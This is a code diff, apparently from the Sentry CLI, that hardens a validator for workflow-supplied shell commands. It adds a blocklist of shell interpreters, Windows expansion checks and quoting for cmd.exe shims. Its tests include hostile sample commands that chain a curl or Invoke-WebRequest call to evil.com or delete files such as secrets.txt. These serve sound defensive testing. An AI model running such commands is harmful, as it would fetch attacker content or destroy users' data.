diff --git a/src/lib/init/tools/command-utils.ts b/src/lib/init/tools/command-utils.ts index 74461ac8d..a08205e15 100644 --- a/src/lib/init/tools/command-utils.ts +++ b/src/lib/init/tools/command-utils.ts @@ -4,11 +4,12 @@ import { MAX_OUTPUT_BYTES } from "../constants.js"; /** Characters treated as command token separators. */ const WHITESPACE_CHAR_RE = /\s/u; +const WINDOWS_EXECUTABLE_EXTENSION_RE = /\.(?:cmd|exe|bat|ps1)$/u; +const PATH_SEPARATOR_RE = /\\/g; /** - * Patterns that indicate shell injection. Commands run via `child_process.spawn` - * without a shell, so these patterns are defense-in-depth for chaining, - * piping, redirection, and command substitution. + * Patterns that indicate shell injection. Windows package-manager shims require + * shell execution, so workflow commands must reject shell syntax before spawn. */ const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = [ @@ -25,6 +26,14 @@ const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = { pattern: "<", label: "redirection (<)" }, ]; +const WINDOWS_SHELL_METACHARACTER_PATTERNS: Array<{ + pattern: string; + label: string; +}> = [ + { pattern: "%", label: "Windows environment variable expansion (%)" }, + { pattern: "!", label: "Windows delayed environment expansion (!)" }, +]; + /** * Executables that should never appear in a workflow-provided command. */ @@ -61,6 +70,12 @@ const BLOCKED_EXECUTABLES = new Set([ "ssh", "scp", "sftp", + "cd", + "pushd", + "popd", + "cmd", + "powershell", + "pwsh", "bash", "sh", "zsh", @@ -94,6 +109,83 @@ export type ParsedCommand = { args: string[]; }; +function normalizeExecutableName(executable: string): string { + return path.posix + .basename(executable.replace(PATH_SEPARATOR_RE, "/")) + .toLowerCase() + .replace(WINDOWS_EXECUTABLE_EXTENSION_RE, ""); +} + +function hasInitArgAfter(tokens: string[], index: number): boolean { + return tokens.slice(index + 1).some((arg) => arg.toLowerCase() === "init"); +} + +function isSentryCliPackageSpec(token: string): boolean { + const lower = token.toLowerCase(); + return lower === "@sentry/cli" || lower.startsWith("@sentry/cli@"); +} + +function isSentryWizardPackageSpec(token: string): boolean { + const lower = token.toLowerCase(); + return lower === "@sentry/wizard" || lower.startsWith("@sentry/wizard@"); +} + +function isExecutablePackageSpec(executable: string, name: string): boolean { + return executable === name || executable.startsWith(`${name}@`); +} + +function findBlockedExecutable(tokens: string[]): string | undefined { + const executable = normalizeExecutableName(tokens[0] ?? ""); + if (BLOCKED_EXECUTABLES.has(executable)) { + return executable; + } + + return; +} + +function isRecursiveSentrySetupToken( + token: string, + tokens: string[], + index: number +): boolean { + const executable = normalizeExecutableName(token); + if ( + isSentryWizardPackageSpec(token) || + isExecutablePackageSpec(executable, "sentry-wizard") + ) { + return true; + } + if (isSentryCliPackageSpec(token)) { + return hasInitArgAfter(tokens, index); + } + if ( + !( + isExecutablePackageSpec(executable, "sentry") || + isExecutablePackageSpec(executable, "sentry-cli") + ) + ) { + return false; + } + return hasInitArgAfter(tokens, index); +} + +function isRecursiveSentrySetup(tokens: string[]): boolean { + const [firstToken = ""] = tokens; + return isRecursiveSentrySetupToken(firstToken, tokens, 0); +} + +function findShellMetacharacterLabel(command: string): string | undefined { + const patterns = + process.platform === "win32" + ? [ + ...SHELL_METACHARACTER_PATTERNS, + ...WINDOWS_SHELL_METACHARACTER_PATTERNS, + ] + : SHELL_METACHARACTER_PATTERNS; + + return patterns.find(({ pattern }) => command.includes(pattern))?.label; +} + function isCommandWhitespace(char: string): boolean { return WHITESPACE_CHAR_RE.test(char); } @@ -250,19 +342,19 @@ export function parseCommand(command: string): ParsedCommand { * Validate a command before execution. */ export function validateCommand(command: string): string | undefined { - for (const { pattern, label } of SHELL_METACHARACTER_PATTERNS) { - if (command.includes(pattern)) { - return `Blocked command: contains ${label} — "${command}"`; - } + const metacharacterLabel = findShellMetacharacterLabel(command); + if (metacharacterLabel) { + return `Blocked command: contains ${metacharacterLabel} — "${command}"`; } - let firstToken: string; + let tokens: string[]; try { - [firstToken = ""] = tokenizeCommand(command); + tokens = tokenizeCommand(command); } catch (error) { return error instanceof Error ? error.message : String(error); } + const [firstToken = ""] = tokens; if (!firstToken) { return "Blocked command: empty command"; } @@ -271,8 +363,12 @@ export function validateCommand(command: string): string | undefined { return `Blocked command: contains environment variable assignment — "${command}"`; } - const executable = path.basename(firstToken); - if (BLOCKED_EXECUTABLES.has(executable)) { + if (isRecursiveSentrySetup(tokens)) { + return `Blocked command: invokes Sentry setup recursively — "${command}"`; + } + + const executable = findBlockedExecutable(tokens); + if (executable) { return `Blocked command: disallowed executable "${executable}" — "${command}"`; } diff --git a/src/lib/init/tools/run-commands.ts b/src/lib/init/tools/run-commands.ts index 9cece52e3..11bca9700 100644 --- a/src/lib/init/tools/run-commands.ts +++ b/src/lib/init/tools/run-commands.ts @@ -10,8 +10,56 @@ import { } from "./command-utils.js"; import type { InitToolDefinition, ToolContext } from "./types.js"; +const WINDOWS_BATCH_SHIM_RE = /\.(?:cmd|bat)$/iu; + +type SpawnCommand = { + executable: string; + args: string[]; + windowsVerbatimArguments?: true; +}; + +function isWindowsBatchShim(executable: string): boolean { + return process.platform === "win32" && WINDOWS_BATCH_SHIM_RE.test(executable); +} + +function quoteWindowsCommandArg(value: string): string { + let quoted = '"'; + let backslashes = 0; + + for (const char of value) { + if (char === "\\") { + backslashes += 1; + continue; + } + + if (char === '"') { + quoted += "\\".repeat(backslashes * 2); + quoted += '""'; + backslashes = 0; + continue; + } + + quoted += "\\".repeat(backslashes); + quoted += char; + backslashes = 0; + } + + quoted += "\\".repeat(backslashes * 2); + quoted += '"'; + return quoted; +} + +function buildWindowsBatchCommand(executable: string, args: string[]): string { + const commandLine = [executable, ...args] + .map(quoteWindowsCommandArg) + .join(" "); + + // cmd.exe /s strips the outer quote pair, leaving a quoted exe + argv. + return `"${commandLine}"`; +} + /** - * Validate and execute a batch of shell-free commands. + * Validate and execute a batch of commands. */ export async function runCommands( payload: RunCommandsPayload, @@ -81,11 +129,27 @@ async function runSingleCommand( stderr: string; }> { const executable = whichSync(command.executable) ?? command.executable; + const spawnCommand: SpawnCommand = isWindowsBatchShim(executable) + ? { + executable: process.env.ComSpec ?? "cmd.exe", + args: [ + "/d", + "/s", + "/c", + buildWindowsBatchCommand(executable, command.args), + ], + windowsVerbatimArguments: true, + } + : { executable, args: command.args }; try { - const child = spawn(executable, command.args, { + const child = spawn(spawnCommand.executable, spawnCommand.args, { cwd, + shell: false, stdio: ["ignore", "pipe", "pipe"], + ...(spawnCommand.windowsVerbatimArguments + ? { windowsVerbatimArguments: true } + : {}), }); const exited = new Promise((resolve) => { child.on("close", (code) => resolve(code ?? 1)); diff --git a/test/lib/init/tools/run-commands-spawn.mocked.test.ts b/test/lib/init/tools/run-commands-spawn.mocked.test.ts new file mode 100644 index 000000000..e59e09c73 --- /dev/null +++ b/test/lib/init/tools/run-commands-spawn.mocked.test.ts @@ -0,0 +1,214 @@ +/** + * Unit tests for run-commands spawn options. + * + * Kept separate because node:child_process must be mocked before importing + * the tool module. + */ + +import { afterEach, beforeEach, describe, expect, test, vi } from "vitest"; +import type { RunCommandsPayload } from "../../../../src/lib/init/types.js"; + +const originalComSpec = process.env.ComSpec; +const { spawnCalls } = vi.hoisted(() => ({ + spawnCalls: [] as Array<{ + command: string; + args: string[]; + options: { shell?: boolean; windowsVerbatimArguments?: boolean }; + }>, +})); + +vi.mock("node:child_process", async () => { + const { EventEmitter } = await import("node:events"); + const { Readable } = await import("node:stream"); + + return { + execFileSync: (_file: string, args: string[]) => { + const command = args.at(-1); + if (process.platform !== "win32") { + return `/usr/local/bin/${command}\n`; + } + return command === "pnpm" + ? "C:\\Tools\\pnpm.CMD\r\n" + : `C:\\Tools\\${command}.exe\r\n`; + }, + spawn: ( + command: string, + args: string[], + options: { shell?: boolean; windowsVerbatimArguments?: boolean } + ) => { + spawnCalls.push({ command, args, options }); + const child = new EventEmitter() as any; + child.stdout = Readable.from(["10.0.0\n"]); + child.stderr = Readable.from([]); + child.kill = vi.fn(); + queueMicrotask(() => child.emit("close", 0)); + return child; + }, + }; +}); + +vi.mock("@sentry/node-core/light", () => ({ + addBreadcrumb: vi.fn(), +})); + +import { runCommands } from "../../../../src/lib/init/tools/run-commands.js"; + +const originalPlatform = process.platform; + +function setPlatform(platform: NodeJS.Platform): void { + Object.defineProperty(process, "platform", { + value: platform, + configurable: true, + }); +} + +function makePayload(command: string): RunCommandsPayload { + return { + type: "tool", + operation: "run-commands", + cwd: "/tmp", + params: { commands: [command] }, + }; +} + +beforeEach(() => { + spawnCalls.splice(0); + delete process.env.ComSpec; +}); + +afterEach(() => { + setPlatform(originalPlatform); + if (originalComSpec === undefined) { + delete process.env.ComSpec; + } else { + process.env.ComSpec = originalComSpec; + } +}); + +describe("runCommands spawn options", () => { + test("uses cmd.exe for package-manager .cmd shims", async () => { + setPlatform("win32"); + + const result = await runCommands(makePayload("pnpm --version"), { + dryRun: false, + }); + + expect(result.ok).toBe(true); + expect(spawnCalls[0]).toMatchObject({ + command: "cmd.exe", + args: ["/d", "/s", "/c", '""C:\\Tools\\pnpm.CMD" "--version""'], + options: { shell: false, windowsVerbatimArguments: true }, + }); + }); + + test("quotes Windows .cmd shim arguments with spaces", async () => { + setPlatform("win32"); + + const result = await runCommands( + makePayload('pnpm --filter "./apps/web app" add @sentry/nextjs@^8.0.0'), + { dryRun: false } + ); + + expect(result.ok).toBe(true); + expect(spawnCalls[0]).toMatchObject({ + command: "cmd.exe", + args: [ + "/d", + "/s", + "/c", + '""C:\\Tools\\pnpm.CMD" "--filter" "./apps/web app" "add" "@sentry/nextjs@^8.0.0""', + ], + options: { shell: false, windowsVerbatimArguments: true }, + }); + }); + + test("doubles trailing backslashes for Windows .cmd shim arguments", async () => { + setPlatform("win32"); + + const result = await runCommands(makePayload("pnpm add C:\\some\\path\\"), { + dryRun: false, + }); + + expect(result.ok).toBe(true); + expect(spawnCalls[0]).toMatchObject({ + command: "cmd.exe", + args: [ + "/d", + "/s", + "/c", + '""C:\\Tools\\pnpm.CMD" "add" "C:\\some\\path\\\\""', + ], + options: { shell: false, windowsVerbatimArguments: true }, + }); + }); + + test("doubles embedded quotes for Windows .cmd shim arguments", async () => { + setPlatform("win32"); + + const result = await runCommands( + makePayload('pnpm add "value \\"quoted\\""'), + { dryRun: false } + ); + + const commandLine = spawnCalls[0]?.args.at(-1) ?? ""; + + expect(result.ok).toBe(true); + expect(commandLine).toContain('"value ""quoted"""'); + expect(commandLine).not.toContain('\\"'); + expect(spawnCalls[0]).toMatchObject({ + command: "cmd.exe", + options: { shell: false, windowsVerbatimArguments: true }, + }); + }); + + test("doubles backslashes before embedded quotes for Windows .cmd shim arguments", async () => { + setPlatform("win32"); + + const result = await runCommands( + makePayload(String.raw`pnpm add "path\\\"name"`), + { dryRun: false } + ); + + const commandLine = spawnCalls[0]?.args.at(-1) ?? ""; + + expect(result.ok).toBe(true); + expect(commandLine).toContain(String.raw`"path\\""name"`); + expect(commandLine).not.toContain(String.raw`"path\""name"`); + expect(spawnCalls[0]).toMatchObject({ + command: "cmd.exe", + options: { shell: false, windowsVerbatimArguments: true }, + }); + }); + + test("keeps Windows .exe commands shell-free", async () => { + setPlatform("win32"); + + const result = await runCommands(makePayload("dotnet --info"), { + dryRun: false, + }); + + expect(result.ok).toBe(true); + expect(spawnCalls[0]).toMatchObject({ + command: "C:\\Tools\\dotnet.exe", + args: ["--info"], + options: { shell: false }, + }); + expect(spawnCalls[0]?.options.windowsVerbatimArguments).toBeUndefined(); + }); + + test("keeps POSIX command execution shell-free", async () => { + setPlatform("darwin"); + + const result = await runCommands(makePayload("pnpm --version"), { + dryRun: false, + }); + + expect(result.ok).toBe(true); + expect(spawnCalls[0]).toMatchObject({ + command: "/usr/local/bin/pnpm", + args: ["--version"], + options: { shell: false }, + }); + expect(spawnCalls[0]?.options.windowsVerbatimArguments).toBeUndefined(); + }); +}); diff --git a/test/lib/init/tools/run-commands.test.ts b/test/lib/init/tools/run-commands.test.ts index 049eb7f36..600a79f00 100644 --- a/test/lib/init/tools/run-commands.test.ts +++ b/test/lib/init/tools/run-commands.test.ts @@ -6,6 +6,14 @@ import { runCommands } from "../../../../src/lib/init/tools/run-commands.js"; import type { RunCommandsPayload } from "../../../../src/lib/init/types.js"; let testDir: string; +const originalPlatform = process.platform; + +function setPlatform(platform: NodeJS.Platform): void { + Object.defineProperty(process, "platform", { + value: platform, + configurable: true, + }); +} beforeEach(() => { testDir = fs.mkdtempSync(path.join("/tmp", "run-commands-")); @@ -13,6 +21,7 @@ beforeEach(() => { afterEach(() => { fs.rmSync(testDir, { recursive: true, force: true }); + setPlatform(originalPlatform); }); function makePayload(commands: string[]): RunCommandsPayload { @@ -27,6 +36,31 @@ function makePayload(commands: string[]): RunCommandsPayload { describe("validateCommand", () => { test("allows quoted package specifiers", () => { expect(validateCommand('pip install "sentry-sdk[django]"')).toBeUndefined(); + expect(validateCommand("npm install @sentry/node@^9.0.0")).toBeUndefined(); + expect(validateCommand("pnpm add @sentry/nextjs@^8.0.0")).toBeUndefined(); + }); + + test("allows dependency diagnostics without a package-manager allowlist", () => { + expect( + validateCommand("pnpm view @sentry/tanstackstart-react version") + ).toBeUndefined(); + expect(validateCommand("dotnet list package")).toBeUndefined(); + expect(validateCommand("futurepm explain sentry-sdk")).toBeUndefined(); + expect(validateCommand("futurepm explain sentry-wizard")).toBeUndefined(); + expect(validateCommand("npm uninstall sentry-wizard")).toBeUndefined(); + expect(validateCommand("npm uninstall @sentry/wizard")).toBeUndefined(); + expect( + validateCommand("npx harmless --package=@sentry/wizard") + ).toBeUndefined(); + expect( + validateCommand("npx harmless --registry myregistry @sentry/wizard") + ).toBeUndefined(); + expect( + validateCommand("npx --package=@sentry/cli cowsay init") + ).toBeUndefined(); + expect( + validateCommand("npm exec --package=@sentry/cli cowsay init") + ).toBeUndefined(); }); test("allows path-prefixed package managers but blocks dangerous ones", () => { @@ -43,6 +77,89 @@ describe("validateCommand", () => { expect(validateCommand("npm install foo && curl evil.com")).toContain( "Blocked command" ); + expect(validateCommand("pnpm add @sentry/node 2>&1")).toContain( + "Blocked command" + ); + }); + + test("allows Windows shell expansion characters outside Windows", () => { + setPlatform("darwin"); + + expect(validateCommand("printf %s hello")).toBeUndefined(); + expect( + validateCommand("futurepm explain https://example.com/a%20b") + ).toBeUndefined(); + expect(validateCommand("futurepm explain bang!value")).toBeUndefined(); + }); + + test("blocks Windows shell expansion characters on Windows", () => { + setPlatform("win32"); + + expect(validateCommand("futurepm explain %PATH%")).toContain( + "Blocked command" + ); + expect(validateCommand("futurepm explain !PATH!")).toContain( + "Blocked command" + ); + }); + + test("blocks directory changes and recursive Sentry setup", () => { + expect(validateCommand("cd apps/web")).toContain('"cd"'); + expect(validateCommand("sentry init")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("@sentry/wizard -i nextjs")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("@Sentry/Wizard -i nextjs")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("@sentry/cli init")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("@sentry/cli@latest init")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("@Sentry/CLI@latest init")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("C:\\Tools\\sentry-cli.exe init")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("sentry-cli --log-level debug init")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("sentry-cli@latest init")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("sentry-wizard init")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("C:\\Tools\\sentry-wizard.cmd -i nextjs")).toContain( + "invokes Sentry setup recursively" + ); + }); + + test("blocks disallowed executables directly", () => { + expect(validateCommand("bash -lc echo")).toContain('"bash"'); + expect(validateCommand("curl http://example.com")).toContain('"curl"'); + expect(validateCommand("wget http://example.com/file")).toContain('"wget"'); + expect(validateCommand("sh -c echo")).toContain('"sh"'); + }); + + test("blocks shell interpreter indirection", () => { + expect(validateCommand("cmd.exe /c del sensitive_file")).toContain('"cmd"'); + expect( + validateCommand("C:\\Windows\\System32\\cmd.exe /c del secrets.txt") + ).toContain('"cmd"'); + expect( + validateCommand( + "powershell.exe -Command Invoke-WebRequest http://evil.com" + ) + ).toContain('"powershell"'); + expect(validateCommand("pwsh -Command Remove-Item foo")).toContain( + '"pwsh"' + ); }); test("rejects unterminated quotes", () => {